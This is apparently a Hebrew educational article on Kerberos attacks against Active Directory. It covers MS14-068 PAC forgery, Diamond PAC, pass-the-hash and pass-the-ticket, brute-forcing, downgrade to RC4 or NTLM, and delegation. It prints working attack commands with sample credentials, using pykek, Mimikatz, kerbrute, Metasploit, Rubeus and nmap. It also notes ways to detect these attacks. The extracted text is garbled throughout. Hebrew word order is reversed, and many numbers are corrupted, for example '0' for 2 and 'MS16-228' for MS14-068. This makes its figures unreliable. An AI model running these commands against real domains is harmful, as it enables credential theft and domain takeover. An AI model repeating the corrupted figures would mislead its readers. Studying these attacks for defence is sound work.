 ?האימות תהליך מתרחש איך .PAC-ה על לחתום יכול אחד כל וכך( הסטנדרטי SHA1-ל בניגוד)

 : דיגיטליות חתימות 0 מכיל PAC-ה

 .השירות שרת מפתח של חתימה .1

 . KRBTGT-ה כלומר KDC-ה מפתח חתימת .0

 השני המפתח. KDC-ל אותם וישלח משלו ים-PAC יצור לא שהלקוח כדי היא הראשונה החתימה של המטרה

 .נוספות הרשאות ולהשיג משלהם ים-PAC לעצמם להוסיף מוכרים לא משירותים למנוע מטרתו

  

https://hashcat.net/hashcat/
https://www.exploit-db.com/exploits/35474
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 :DC-ה מול מתאמת לקוח כאשר לדוגמה, KRBTGT-ה עם נעשות החתימות 0 המקרים ברוב

 

 [Blackhat-בBenjamin Delpy  שלהרצאה  ]מתוך

 :Checksum-ה מחושב איך

 .אפסים הוא החתימות תוכן. החתימות 0-ל מקום כולל נבנה המלא PAC-ה .1

 .השרת חתימת למקום הפלט את ומכניסים במלואו PAC-ה על Checksum-ה את מפעילים .0

 .KDC-ה של המפתח עם Checksum-ה את שחושב Checksum-ה על מפעילים .3

 .KDC-ה של החתימה של למיקום המידע את מכניסים .6

 את יודע PAC-ה שולח אם שמאמת, PAC_SERVER_CHECKSUM-ה שבדיקת הוא בנושא המעניין הקטע

 ידי על צורף PAC-ה אם שבודק, PAC_PRIVSVR_CHECKSUM-ה בדיקת אך. חובה היא, השירות מפתח

 . המחדל בברירת תרחשת לא כלומר אופציונלי הוא, KDC-ה ידי על שמוכר לגיטימי שירות

 . Access Control-ה בגלל מהחבילה מתעלמים אז לדומיין שייך לא PAC-ה מקור של SID-ה אם, כן כמו*

 :KDC-ה TGS_REQ שולחים כאשר

 .PAC_SERVER_CHECKSUM את מאמת  .1

 .PAC-ה תוכן את מעתיק .0

 .השירות מפתח עם מחדש PAC-ה על חותם  .3

 .בהתאם PAC_PRIVSVR_CHECKSUM-ה חתימת את מתאים .6

 

 [Blackhat-בBenjamin Delpy  של הרצאה מתוך]
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 :PAC עם סטנדרטי אימות נראה איך

 

 :המתקפה של Flow-ה נראה ואיך

 

 הלקוחות אצל Keyless hash signatures-ל האפשרות את שביטל 11-213MS-ה הופיע מסוים בשלב

 . אותה מונע לא אך המתקפה על מקשה זה אמנם .עצמו DC-ה אצל לא אך והשירותים

 מחדש חותם KDC-ה שרת TGS_REQ-ה את ששולחים שאחרי העובדה על סתמךלה זה, כעת שנעשה מה

 :PAC-ה חתימות על

 (לדוגמה הכרטיס את לחדש כדי) עצמו KRBTGT-ה לשירות Keyless hash signiture נשלח קודם .1

 .מזויף PAC עם קודם שעשינו כפי DC-ה על שנמצא
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 תקין HASH עם תיקנית חתימה שמכיל TGS עם TGS-REP לנו יחזיר( KDC-ב שהוא מכיוון) השירות  .0

 :מחדש שנחתם

 

 :יראה זה איך. המבוקש שירות/לשרת להעביר יהיה ניתן יהיה אותו  .3

 
 :המתקפה את עושים איך נראה בואו

, pykek עם זאת לעשות ניתן. המזויף PAC-ה עם( אמיתי שהוא) TGT-ה את יוצרים ראשון דבר .1

Mimikatz ,Rubeus עבור נדגים)הבא המידע נדרש הכרטיס את ליצור כדי. שתרצו אחרת דרך כל או 

Pykek:) 

a. User Principal Name לדוגמה Amit@hafifa.mashu דגל -u 

b. דגל המשתמש סיסמת -p 

c. SID דגל -s 

d. ה-DC דגל המבוקש -d 

 :כך זאת נריץ לבסוף

root@kali:~\pykek# python3 MS14-068.py -u Amit@hafifa.mashu -p Aa123456 -
s S-1-5-21-1473643419-774954089-2222329127-1110 -d WIN-

SERVER10.hafifa.mashu 
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 הפקודה עם Mimikatz עם זאת לעשות ניתן. מתאים TGS לקבל כדי TGT-ה את לשלוח הוא הבא השלב .0

 :הבאה

Kerberos::ptc c:\temp\TGT.ccache 

 .בהצלחה ההתקפה את ביצעתם וזהו .3

PCAP המתקפה של: 

 עם זה מחדל ברירת) PAC-ה הורדת של השינוי עם AS_REQ בקשת זו כלומר. PAC ללא TGT מבקשים .1

 (PAC-ה

 :PAC בלי

 
[adsecurity.org] 

 

  

https://adsecurity.org/
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 :PAC עם

 

[adsecurity.org] 

0. KDC ה את מחזיר-TGT כלומר AS-REP: 

 

[adsecurity.org] 

-enc או authenticator מצרף אך PAC להיות צריך שלא שאומר TGS_REQ-ה הינו הבא השלב .3

authorization-data (ה את שמכיל-PAC .)עם חתום שזה לציין חשוב כן כמו MD5 קודם שנאמר כפי. 

 . 16-228MS של תקיפה ניסיונות שמזהה IDS חתימת להכין ניתן ולכן ביקשו שלא למרות PAC-ה את ששולחים לב שימו*

https://adsecurity.org/
https://adsecurity.org/
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]adsecurity.org[ 

  

https://adsecurity.org/
https://adsecurity.org/
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 :המזויף PAC-ה עם כלומר, האוטנטיקטור מתוך המידע עם החדש TGT-ה את כבר יכיל TGS-REP-ה .6

 

[adsecurity.org] 

 .DC-ה על שרוצים מה את לעשות כבר ניתן איתו וזהו

 ומצד אדמין לדומיין התוקף את שהופכת מאוד קטלנית מתקפה זו אחד מצד, נראה ועוד שראיתם כפי אז

 נגמר לא הנושא אך. מתאימים לוגים עם אותה ולגלות המערכת עדכון בעזרת אותה למנוע קל נורא שני

 ...כאן

 

Diamond PAC 

 השם כך ועל ביותר קטלני אכן) MS14-068-ה וחולשת טיקט הגולדן בין שילוב היא Diamond PAC מתקפת

Diamond .)16-228-ל בדומה, זו בהתקפהMS התוקף יוצר Pac בסיס על חתום הוא, בשונה אך משלו זדוני 

 לשמש יכול הזדוני PAC-שה נזכיר) בהצלחה מתאמת הוא כלומר לגנוב מצליח שהוא KRBTGT מפתח

 (.גישה המבקש המשתמש עבור הרשאות להעלאת

 Golden Ticket-ל בניגוד וזאת לגיטימית kerberos פקטת תוך אל PAC-ה את מרכיב התוקף, זו בהתקפה

 מבקש שהתוקף הוא חשוב פרט. מזויף שלם כרטיס לייצר מנת על KRBTGT-ה במפתח משתמש התוקף בה

 .שלו PAC-ה את לשם מרכיב ואחכ PAC ללא ticket בהתחלה

  

https://adsecurity.org/
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 :flow-ה נראה איך

 

 [black hat - watching the watchdog protecting kerberos של ההרצאה מתוך]

-AS הבקשות במהלך) PAC ללא tgt ומתקבל PAC ללא TGT-ל בקשה שמתבצעת לראות ניתן,הסירטוט לפי

REQ ו-AS-REP.) ה נשלח, 3 בצעד-TGT ה אל-KDC" ,לשירות הינה הבקשה) כרטיס לחדש מנת על" כביכול 

KRBTGT )ה, זו ובפעם-PAC ה י"ע שחתום המזויף-KRBTGT בשדה נשלח enc authorization data .בשדה 

 ticket-ה את KDC-מה התוקף יבקש, כעת. 3 משלב Diamon PAC-ה של העתק שהוא PAC עם tgt יוחזר, 6

 כרטיס אל גם יועתק הוא, לגיטימי הוא כלומר, KRBTGT י"ע חתום PAC-שה העובדה לאור. הרצוי השירות אל

 .TGS-ה כרטיס דרך הרלוונטי השרת אל גם יגיע ובהמשך TGS-ה

 את נכניס פשוט שלא למה, TGT-ה את ולהצפין PAC-ה על לחתום יכולים ואנחנו KRBTGT-ה את לנו יש אם אז

-ל בדומה מחדש החתימה בשביל( הכרטיס לחידוש) KRBTGT-ה לשירות לגשת במקום TGT-ה לתוך PAC-ה

16-228MS .סיבות 0 יש אז: 

 המוסבר הפתרון. בתוכו PAC-ה את למקם פשוט אפשר אי ולכן מוצפן TGT-שה היא המרכזית הסיבה .1

 יוסיף ובכך TGT-ה על מחדש יחתום KDC-שה כך הכרטיס חידוש בתהליך TGS-ל PAC-ה את לצרף הינו

 .המזויף PAC-ה את

 PAC-ה את להוסיף(, KRBTGT-ה מפתח ברשתונו כי) בעצמנו TGT-ה את לפענח היא הנוספת האפשרות .0

 על מדלגים שאנו כיוון למעלה Flow-ב שצוין מה לא) .לקרברוס ולשלוח ביחד אותם בחזרה להצפין ואז

 (הכרטיס לחידוש KRBTGT-ה לשירות הפניה
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. 0-ה בין האיחוד את מאפשר PAC בלי TGT בתוכו שמכיל TGS-ל PAC-ה צירוף למה השאלה נשארת אך

 .הבא במאמר כבר זאת נחקור

 Goldenמאשר אותו לזהות יותר קשה, קיים קרברוס flow לתוך מתלבש הזדוני PAC-שה העובדה לאור

Ticket (ב אנומליות מציאת על היתר בין מתבסס הזיהוי בה-flow יהקרברוס.) 

 :הם בהתקפה להתקיים שצריכים תנאים עוד

 ב האוטנטיקציה זמני בין השוני-PAC מה יותר נמוך להיות צריך עצמו הכרטיס וזמן-Kerberos Tolerance 

 .PAC-ה בוידוי לכישלון להביא עשויה התאמה אי - דקות 5 כלל בדרך

 ב לשים יש-PAC ה את-SID הדומיין של 

 לשים מנת על) בהזדהות דומייני בחשבון להשתמש יש Pre Authentication י"ע המוצפן credentials 

 (.AS-REQ-ה בהודעת בדומיין משתמש של לגיטימיים

-PA בשדה) PAC-ל מהדרישה הפוטרות פקטות -תנאים של שילוב נחפש, Diamond PAC לאתר מנת על

PAC-Request) ,השדה Enc-Authorizationdata ל דרישה להיות צריכה, להכל ובנוסף ריק אינו-PAC בשרת 

 .הסופי

 דומיין של הרשאות להשיג לתוקף מאפשרות אלו מתקפות. PAC-ה מתקפות בכל קצר סיכום נעשה בואו אז

 מאוד קטן שוני עם דומה עבודה תוכנית להם ויש זהות המתקפות עקרונית. שירצה אחר דבר כל או אדמין

 לחתום יכול אחד כל ולכן מפתח ללא hash עם נחתם PAC-ה MS14-068 בחולשת. PAC-ה בחתימת שהוא

 להתאמת ואמור אמין הוא ולכן KRBTGT-ה ידי על וחתום לגיטימי הינו Hash-ה Diamond PAC-וב עליו

 .Patch MS14-068 להם שעשו בשרתים גם בהצלחה

Pass the hash 

, אדוני בקרברוס אנחנו -pass the hash עכשיו מה?! מה -הכותר את כשראיתם לעצמכם שחשבתם מניח אני

 .זאת נראה מיד. קרברוס בתשתית יש כאשר גם רלוונטית שההתקפה מסתבר - שלא, זהו אז. NTLM לא

 חד פונקציה שהם העובדה לאור לסיסמאות ים-hash לפצח מידי קשה שלעיתים כך על מתבססת ההתקפה

 .ההזדהות לצורך שהוא כמו hash-ב להשתמש גם ניתן, כן ועל כיוונית

 :hash להשיג נוכל מתוכם שונים מקומות ישנם

 ה מתוך-cache (בעזרת להשגה לדוגמא ניתן logonpasswords ב-Mimikatz) 

 ה מקובץ-SAM 

 בעזרת התווך מתוך wireshark ואחרים. 

 הליךהת מתוך lsass 
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 לא, למעשה, הסיסמא. עצמה הסיסמא את סיפקנו לא הרי? מתרחשת ההתקפה איך :תשאלו בטח אתם

-וה יגובבו, מכניס המשתמש אשר וסיסמאות hash בצורת אלא, המחשב על הפשוטה בצורתה מאוחסנת

hash ה מול אל יושווה שלהן-hash במערכת השמור. 

 ?סיסמה מהכנסת נוצרים לא אשר ים-hash מקבלות בכלל מערכות למה

 לחלוטין נכונות אינן ברשת שהסכמות ראינו, עצמית חקירה קצת ולאחר ברשת לכך מספק הסבר מצאנו לא

 challenge-ה, לדוגמה NTLM בהזדהות .pth בהתקפת ברשת נשלח אינו המשתמש של הגנוב hash-ה -

 hash-ב משתמש התוקף. התוקף אצל כעת שנמצא hash אותו - המשתמש סיסמאת של hash-ה י"ע מוצפן

 .למשאב לגשת מצליח וכך תקינה ית-NTLM הזדהות לבצע מנת על

 :לדבר דוגמא נראה

. grandmaster המשתמש של hash להשיג והצליח thor המשתמש בעזרת הלקוח מחשב על יושב התוקף

 מנת על wmiexec בעזרת לדוגמא - pth התקפת בעזרת grandmaster של בהרשאות cmd להשיג ביכולתו

 :המרוחק המחשב על cmd ונקבל נקבל, LSA-ל hash-ה את להכניס

 

Pass the key (over pass the hash) 

 לאפשר מנת על משתמשים של hash-ב להשתמש מטרה לעצמה שמה over pass the hash התקפת

 אנו אשר משתמש כל עבור TGT לבקש ניתן, כך(. pass the hash-ל דומה די) kerberos tickets של בקשה

 כמו כלים. אליו הרשאות מחזיקים אנו בו למשתמש אשר שירות לכל ולהיכנס שלו hash-ב מחזיקים

Mimikatz ו-Rubeus ה את להוציא מאפשרים-hash-ה מתהליך ים-lsass הדבר) בהם ולהשתמש לקובץ 

 (.במחשב administrator הרשאות דורש
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 - קדימה אחד צעד pass the hash התקפת את לוקחת ההתקפה ?overpass the hash לזה קוראים ולמה

 אל hash-ה את מזריקים העניין לצורך שבה pass the hash-ל בניגוד וזאת) תקין קרברוס כרטיס יצירת

 מקבלת והיא במידה, לקוח אפליקצית אל ישירות אותו מביאים או מרוחק לשירות להתחבר מנת על הזיכרון

 (. זאת

 .pass the ticket - לרשותנו העומדות האופציות אחת, תקין כרטיס כשהכנו, כעת

Pass the ticket 

 לאמת מנת על גנוב ticket-ב שימוש על מבוססת, pass the hash-ל זהה כמעט, pass the ticket ההתקפה

 את להוציא מאפשרים Rubeus-ו Mimikatz כמו כלים(. TGS וכן TGT-ל כאן הכוונה) המשתמש זהות את

 השגה(. במחשב Administrator הרשאות דורש הדבר) בהם ולהשתמש לקובץ lsass-ה מתהליך הכרטיסים

 אין שבה pth-ל בניגוד וזאת וולידי תקין כרטיס עבור) לרוב שעות 12 של לחיבור לסייע יכולה כרטיס של

-ל( kirbi פורמט) windows בין שונה הכרטיסים שפורמט לב נשים .(תקין hash-ה עוד כל תפוגה תאריך

linux (פורמט cchace )כמו כלים ולכן kekeo ו-ticket_converter יוסבר) הפורמטים בהמרת לסייע יכולים 

 (.בהמשך

 :pass the key-ו ptt המשלבת להתקפה דוגמא נראה
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 :בכרטיס להשתמש הוא שנותר כל, כעת. המשתמש של NTLM-ה בסיס על כרטיס השגנו, כעת

 

  הצלחנו

 שונות: בפלטפורמות בכרטיסים שימוש

 מערכות בין והעברתם השגתם או הלאה הכרטיסים בהעברת מתבססות מקפות הרבה שראיתם כפי

 .שונה הינו לכרטיסים Windows לינוקס של הפורמט וכמצופה. שונות הפעלה

 סימות עם הכרטיסים בלינוקס ccache 

 ב-Windows סיומת עם הם kirbi. 

 מחשב שהוא לדומיין השייך במחשב בו להשתמש רוצה ואני לינוקס בקאלי חשוב כרטיס השגתי נניח אז

Windows .הכרטיס של הפורמט את אשנה איך? 

 :פשוט סקריפט, ticket_converter בכלי נשתמש

root@kali:ticket_converter# python ticket_converter.py ticket.ccache 

ticket.kirbi 

Converting ccache => kirbi 

root@kali:ticket_converter# python ticket_converter.py ticket.kirbi 

ticket.ccache 

Converting kirbi => ccache 

  ?כרטיסים להסניף אפשר אי למה

 כרטיס לזיכרון לטעון ניתן לא :הסיבה בדיוק זו? מוצפן מהכרטיסים חלק כי שנאמר הראשון במאמר זוכרים

 (. הכרטיס את לפענח כיצד יודע לא התוקף כאשר במיוחד) מוצפן

 ? Replay Attacksמפני מגן קרברוס כיצד

 / החתומים authenticator-ו nonce כדוגמת מנגנונים. replay attack למניעת מנגנונים ישנם בפקטה

 הנקראת יישות קיימת, MIT של, המקורי במימוש .התוקף בידי נמצאים שלא מפתחות בעזרת מוצפנים

replay cache-rcache ה אחר העוקבת-authenticators ש במקרה(. דקות 5 חלון) האחרון בזמן הגיעו אשר-

authenticator מכילות שהפקטות גם נזכיר. תגיע שגיאה הודעת, פעמיים נצפה timestamp ניתן לא ולכן 

https://github.com/Zer1t0/ticket_converter
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 הפקטה את מפיל והתוקף במקרה, זאת עם. rcache-מה מוסר authenticator-שה לאחר אותן לשלוח

 בעזרת התווך על לשבת יוכל הוא) זו בדרך להזדהות יוכל הוא, בעצמה אותה ושולח rcache-ה אל מלהגיע

 (.וכו arp spoofing התקפות

 ולכן( Client-TGS-ה מפתח לדוגמא) הצדדים בין השיחה מפתח בעזרת מוצפן authenticator-שה נזכיר

 התקפות על להקל יכול הדבר ולכן בכרטיס IP כתובת לשים חובה קיימת לא. אותו לשנות יכול אינו התוקף

replay. ב פקטות ישנן-flow מכילות אינן אשר authenticator הזמן כדוגמת) אחרים מנגנונים מכילות אך 

 (.בתווך פעמיים שיחזרו שאסור nonceו preauthentication-ב מוצפנת בצורה

 אחד את או הלקוח מפתח לדוגמא) המפתחות אחד את לנחש או להשיג הצליח והתוקף שבמידה לב נשים

 יכול כנראה הוא, שני מצד. Replay attacks התקפות חופשי באופן לבצע ביכולתו(, Session-ה ממפתחות

 …יותר הרבה משמעותיים דברים לעשות

Kerberos Brute-Forcing 

 . להופיע חייב brute force אז קרברוס על לעשות שניתן הבסיסיות למתקפות חזרנו כבר אם

 ?bruteforcing לעשות בכלל שנרצה למה

 (.Kali לאוהבי קריצה) KDC-ל חיבור רק אלא דומייני משתמש צריך שלא כיוון זאת לעשות קל .1

 אלא( logon failure 4625) רגילות התחברות כשגיאות נשמרות לא Pre Authentication-ה שגיאות .0

 . 6771Pre Authentication failure של ספציפי כלוג

 או קיימים המשתמשים אם לדעת ניתן(. recon-ה בהקשר)המשתמשים שמות על מידע מספק קרברוס .3

 משתמשים לגלות נוכל הדומיין את רק יודעים אנו אם גם כלומר. שלהם הסיסמה את לדעת בלי גם לא

 .שלו

 מתקפת עבור זה במידע ולהשתמש Pre Authentication בלי משתמשים לגלות ניתן .6

ASREPROASTING. 

 כל על DoS עשותל להיפך או. המתקפה עם להיזהר חשוב ולכן להיחסם יכולים משתמשים brute force attack כל שכמו לזכור רק חשוב* 

 …המשתמשים
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 :לקרברוס brute force לעשות ניתן איך נראה בואו אז

 :לינוקסב נתחיל אז

 .בקישור להורידו שניתן Kerbrute הינו לכך שמתאים כלי .1

 .התאמה יש אם יבדוק זה פשוט סקריפט הרצת ידי ועל וסיסמאות משתמשים מאגר זה שנדרש מה

python3 kerbrute.py -dc-ip 192.168.1.1 -domain hafifa.mashu -users 

/root/user.txt -passwords /root/pass.txt -outputfile output.txt 

Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation 

[*] Valid user => Win10 

[*] Valid user => Win7[NOT PREAUTH] 

[*] Stupendous => KPU01:Aa123456 

[*] Saved TGT in KPU01.ccache 
[*] Saved discovered passwords in output.txt 

 Metasploit-ב להשתמש ניתן וכמובן .0

msf > use auxiliary/gather/kerberos_enumusers 

msf auxiliary(gather/kerberos_enumusers) > set rhosts 192.168.1.1 

msf auxiliary(gather/kerberos_enumusers) > set User_File /root/user.txt 

msf auxiliary(gather/kerberos_enumusers) > set Domain hafifa.mashul 

msf auxiliary(gather/kerberos_enumusers) > exploit 

 :Windows ותחת

 :נריץ אופן באותו .Rubeus הינו זה במקרה בו שנשתמש הכלי

C:\Users\KPU01> .\Rubeus.exe brute /users:users.txt 
/passwords:passwords.txt /domain:hafifa.mashu /outfile:output.txt 

[*] Valid user => Win10 

[*] Valid user => Win7 

[*] STUPENDOUS => KPU01:Aa123456 

[*] Saved TGT in KPU01.kirbi 

 :Nmap המפורסם בכלי להשתמש ניתן recon לעשות רק נרצה אם

nmap -p 88 --script krb5-enum-users --script-args krb5-enum-

users.realm='hafifa.mashu',userdb=/root/user.txt 192.168.1.1 

https://github.com/TarlogicSecurity/kerbrute
https://github.com/GhostPack/Rubeus
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Downgrade Attack 

 ניתן שלא למצב עדיין הגענו שלא למרות. יותר ובטוחים בטוחים נהיים הפרוטוקולים הזמן שמתקדם ככל

 יותר מוקדמת לגרסה הקרברוס פרוטוקול של הגרסה את לשנות לנסות יכולים עדיין אנו, אותם לפרוץ

 :אפשרויות 3 יש זו למתקפה. יותר ופריצה

 שראיתם כפי ואז pre-auth דורשת שלא לגרסה לדוגמה. יותר ישן למשהו V5 קרברוס גרסת את לשנות .1

 גם וזה הנוכחי במאמר זאת לעשות דרך/מתקפה מצאנו לא לצערנו. לעשות שניתן מתקפות מגוון יש

 תתיאשו אל אך. Windows Vista-ל Windows10-מ Downgrade לעשות תצליחו לא לדוגמה, הגיוני

 ואולי ההפעלה במערכת שלו ולהתממשקות הקרברוס של לקוד יותר נכנס ,זו זדרה של השלישי חלקב

 .ישתנו ממצאינו

 בדרך. אותן לשבור שניתן חלשות בהצפנות יתמוך שקרברוס כך הפרוטוקל של ההצפנות את לשנות .0

 להשתמש האפשרות את יש ולכן מאופשרות הגרסה של ההצפנות כל, אחרת קונפג אם אלא כלל

 .RC4 כמו חלשות בהצפנות

 ביותר החזקה בהצפנה משתמש הקרברוס, סיסמתו את מכניס כשמשתמש, המחדל ברירת במצב

 הקרברוס( overpass the hash עם לדוגמה) יותר חלשה הצפנה שולח היה הוא אם אמנם. המאופשרת

(. בפוליסות אותה ביטלו לא עוד כל) הצפנה באותה כן גם מוצפנות הבאות החבילות את מחזיר היה

 ?איך אז. זאת לעשות ניתן התוקף לשמחת

 את ניצור כאשר. Mimikatz עם טיקט Golden/Silver-ב ראשית, מקומות בכמה זאת לראות ניתן

 .בהתאם יהיו ההצפנות שאר גם אז RC4 עם הכרטיס

 :ונריץ kerberoasting-ה מתקפת עבור, Rubeus-ב, דוגמה עוד

C:\Rubeus\Rubeus.exe kerberoast /tgtdeleg 

 

 .הבא בעמוד לראת ניתן הפלט ואת
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 :RC4 עם מוצפנים TGS-ה את נקבל

 
[Ired.team] 
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 challangeהינו NTLM-ה פרוטוקול) קרברוס ולא NTLM עם המשתמשים את לאמת DC-ל לגרום .3

response מקרברוס חלש יותר נחשב הוא, המאמר בתחילת שמקושר הראשון במאמר ומוסבר.) 

. למימוש ניתנת היא לשמחתנו אך קיימות מתקפות מצאנו לא זו למתקפה גם, חדש לא שהקונספט למרות

 אז לעבוד להפסיק לקרברוס נגרום אם כלומר לקרברוס כגיבוי משמש הוא במערכת נחסם NTLM אם אלא

 בצורה בקרברוס תקלות ליצור היא לעשות אמורה שהמתקפה מה כלומר. לאימות NTLM-ב ישתמש DC-ה

 :לעבוד מפסיק שקרברוס סיבות כמה נראה בואו אז. אותו יחליף NTLM-שה כך מלאכותית

1. EventID 11 

 

[docs.microsoft.com] 

 .NTLM עם יתבצע והאימות יעבוד לא הקרברוס ים-SPN-ב כפילות יש אם, לקרוא יכולים שאתם כפי

2. CVE-2016-3237 

 שינוי בתהליך מטפל הקרברוס פרוטוקול. בקרברוס שמשתמשות מייקרוסופט במערכות קיימת זו חולשה

 .הרשאות להעלות ובסוף NTLM-ל האימות מנגנון את לשנות לתוקף מאפשר וזה בעייתית בצורה הסיסמה

 KDC יוצר התוקף. KDC-ה ושירות המשתמש בין MITM Attack עושה שהתוקף כך על מסתמכת חולשהה

 משתמש התחברות בעת. תוקפים אותו המשתמש שם את ומכיל המקורי הדומיין כמו שם אותו בעל מזויף

 את מחליף המשתמש כאשר. לעצמו ההתחברות פרטי את ושומר סיסמה להחליף אותו מחייב התוקף

. עצמו עבור שגילה בפרטים ומשתמש KDC-ה עם המשתמש של התקשורת את מבטל התוקף, הסיסמה

 The trust relationship between this"-ו בהצלחה התחלפה שהסיסמה הודעה מקבל הלגיטימי המשתמש

workstation and the primary domain failed." מנגנון קרברוס שבמקום הוא שקורה מעניין דבר עוד 

 זאת נחקור - הקרברוס לכשל שגרם הרגעית התקשורת ניתוק עקב הנראה ככל) NTLM-ל משתנה האימות

 (.הבא במאמר

https://www.exploit-db.com/exploits/40409
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101-MICROSOFT MS16Patch  ה לגרסת הירידה את מונע הוא, זו בעיה את פתר-NTLM קרברוס כאשר 

 . הסיסמה החלפת בתהליך נכשל

 :הן לבעיה שנחשפו המערכות

 Windows Vista with Service Pack 2 x86 

 Windows Vista with Service Pack 2 x64 

 Windows Server 2008 with Service Pack 2 x86 

 Windows Server 2008 with Service Pack 2 x64 

 Windows Server 2008 with Service Pack 2 IA64 

 Windows 7 with Service Pack 1 x86 

 Windows 7 with Service Pack 1 x64 

 Windows Server 2008 R2 with Service Pack 1 x64 

 Windows Server 2008 R2 with Service Pack 1 IA64 

 Windows 8.1 x86 

 Windows 8.1×64 

 Windows Server 2012 

 Windows Server 2012 R2 

 Windows RT 8.1 

 Windows 10 x86 

 Windows 10 x64 

 Windows 10 version 1511 x86 

 Windows 10 version 1511 x64 

 Windows 10 version 1607 x86 

 Windows 10 version 1607 x64 

 עם ישירה תקשורת אין, חסר SPN-ה) SPN-ה עם לתקשר יכול לא השרת אם, הקודמת לחולשה בדומה .3

 .NTLM עם יתבצע האימות אז( הדומיין

https://support.microsoft.com/he-il/topic/microsoft-ms16-101-%D7%AA%D7%99%D7%90%D7%95%D7%A8-%D7%A9%D7%9C-%D7%A2%D7%93%D7%9B%D7%95%D7%9F-%D7%90%D7%91%D7%98%D7%97%D7%94-%D7%A2%D7%91%D7%95%D7%A8-%D7%A9%D7%99%D7%98%D7%95%D7%AA-%D7%90%D7%99%D7%9E%D7%95%D7%AA-%D7%A9%D7%9C-windows-9-%D7%91%D7%90%D7%95%D7%92%D7%95%D7%A1%D7%98-2016-80a35ba3-fce9-7b6c-799b-2fe2936f1c37
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…(.  לפחות באידאל) רשתית להזדהות NTLM בשיטת שימוש אין, בקרברוס שימוש יש בהם, בדומיינים .4

 מעבר ולדרוש בקרברוס תומכים לא שאנחנו אליו להתחבר רוצים שאנחנו למחשב להגיד ניתן, זאת עם

 בעזרת מחשב אל פנייה היא זאת לעשות אחת שיטה. ההתקפה את לבצע ניתן בה NTLM לשיטת

 IP-ה כתובת בעזרת קרברוסית הזדהות המקיים בדומיין לאתר פנייה - לדוגמא, כך) שלו IP-ה כתובת

 במאמר PoC-ה בהכנת הראש את רב זמן כך על שברנו - קרברוס במקום NTLM לביצוע יביא, שלו

 (.הראשון

 תוכנות ישנן וכן לקרברוס במקביל פועלות נשארות ואחרות NTLM-ה שיטות, רבות בסביבות, למעשה

 proxy שירות וכן בקרברוס תמיכתן למרות בדיפולט מאופשר NTLM עם המגיעות( sharepoint לדוגמא)

, כן כמו(. NTLM מעבר יאפשרו אך) דרכן מלעבור קרברוס של מפקטות ימנעו מסוימים load balancingו

-ב יתמכו לא Samba-ו smb של ישנות גרסאות וכן IP כתובת בעזרת תיעשה אליהן שהפנייה מערכות

Kerberos. 

 ברשתות וזהויות סיסמאות ניהול - גרסטל יהודה של במאמר בדומיין הזדהות שיטות על עוד לקרוא ניתן

 .מייקרוסופט

Delegations 

 למשאבים לגשת לאפליקציה לאפשר כדי בדילגציה משתמשים? לדומיינים מתקשרת" משלחת" איך אז

 למשתמש לתת במקום, SQL בשרת DB-ל לגשת רוצה באתר הגולש שמשתמש נניח. אחר בשרת הנמצאים

. המשתמש בשם SQL-ל יפנה האתר אז לאתר מתחבר שהמשתמש ברגע, SQL-ה לשרת לגשת הרשאות

 אפליקציה או שירות עבור לטיקט forward לעשות היא delegation זה מה על להסתכל נוחה דרך עוד

 :לדוגמה. אחרים

 

]Posts.specterops.io[ 

 ?נמצא בכלל זה איפה .מדובר במה נבין בואו אז

 setspn -s :תזכורת, הקודם במאמר  זאת הזכרנו) מוגדר SPN להיות חייב מחשב/שירות/למשתמש ראשית

service/name hostname .)ל להיכנס עלניו-Active Direcctory Users and Computers שנמצאים לאיפה 

 . המשתמשים כל

https://www.digitalwhisper.co.il/files/Zines/0x3F/DW63-3-WindowsHashes.pdf
https://www.digitalwhisper.co.il/files/Zines/0x3F/DW63-3-WindowsHashes.pdf
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 :הבא החלון את נקבל Delegation של הסימנית ועל Properties על נלחץ אם

 

 :Delegation של סוגים 3 יש רואים שאתם כפי אז

 היא בטוחה פחות הכי וגם הראשונה האופציה Unconstrained Delegation 

 Constrained Delegation 

 Resourse based Constrained Delegation (RBCD) 

 :חשבונות של סוגים 0 יש כן כמו

 שלנו במקרה כמו רגיל משתמש חשבון KPU01. 

 שלנו במקרה, מחשב של וחשבון Win10client או Win7client .שם אחרי$ -ב מלווים אלו חשבונות 

 .המחשב
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Unconstrained Delegation 

 

 מאחורי. בטוחה פחות הכי וכמובן Windows 2000 שרת עם שהגיע Delegation של הראשונה הגרסה זו

. TRUSTED_FOR_DELEGATION של דגל מקבל המשתמש של userAccountControl-ה מאפיין הקלעים

 נשמר משתמש אותו של TGT-ה אז unconstrained delegation עם שרת מול מתאמת מישהו כאשר

 . השרת של בזיכרון

 בכך המטרה. LSASS-ב יותר מאוחר לשימוש אותו ושומר TGS_REQ-ה חבילת מתוך TGT-ה את לוקח השרת

 שאתם כפי אך הצורך בעת המבוקש השירות את לו להשיג כדי למשתמש להתחזות יוכל שרת שאותו היא

 . אדמיניסטרטור הוא אם במיוחד בבעיה המשתמש כרטיס לאותו גישה ישיג תוקף אם להבין יכולים

 :כך נראה זה מופשטת בצורה
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[Posts.specterops.io] 

 :פירוט יותר מעט ועם

 

[MSDN] 
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Constrained Delegation 

 שירותים לאילו לקנפג מאפשרת זו אופציה. Windows 2003 שרת עם הצטרפה, דלגציה של הבאה הגרסה

 זה כי פירצה של במקרה הפגיעה רמת את להקטין אמור זה, בתיאוריה. delegation לעשות יכול המשתמש

 :ספציפי לשירות מיועד

 

 . ים-forest בין משלבים כאשר עובד לא הוא, דילגיישן של הזה הסוג על הגבלה יש אמנם*

 ולכן מסוימות בקבוצות לשירותים הדלגציה עבור הנדרשים מיוחדים כרטיסים לייצר מסוגל לא קרברוס

 :הקלעים מאחורי קורים דברים 0, פועל Constrained Delegation כאשר

1. S4U2Proxy Kerberos Extension :ב להשתמש לשירות מאפשר-TGS מה להשיג כדי הלקוח של-KDC 

 msDS-AllowedToDelegateTo בשם attribute-ה סמך על מתרחש זה. שלישי לשירות TGS כרטיס

 לבקש יכול שהוא שירותים של רשימה יש משתמש לכל, אחרות במילים. לו המוגדר SPN-ה את שמקבל

 .דלגציה שעושה במשתמש זה במאפיין ששמורים והם TGS בשבילם

 של הרשימה נשמר משאבים יש שבו השרת מצד, בהמשך שיוסבר RBCD-ה של במקרה, שני מצד

 .דלגציה לעשות יכול הוא למי נשמר שירות לכל ולא אליו דלגציה לעשות יכולים שהם השירותים

0. S4U2Self Kerberos Extension :להם שאין לשירותים לאפשר במטרה נוצרה לקרברוס זו הרחבה 

 KDC-מה( Forwardable TGS) כרטיס לבקש לשירות מאפשר זה בעצם. בדלגציה להשתמש קרברוס

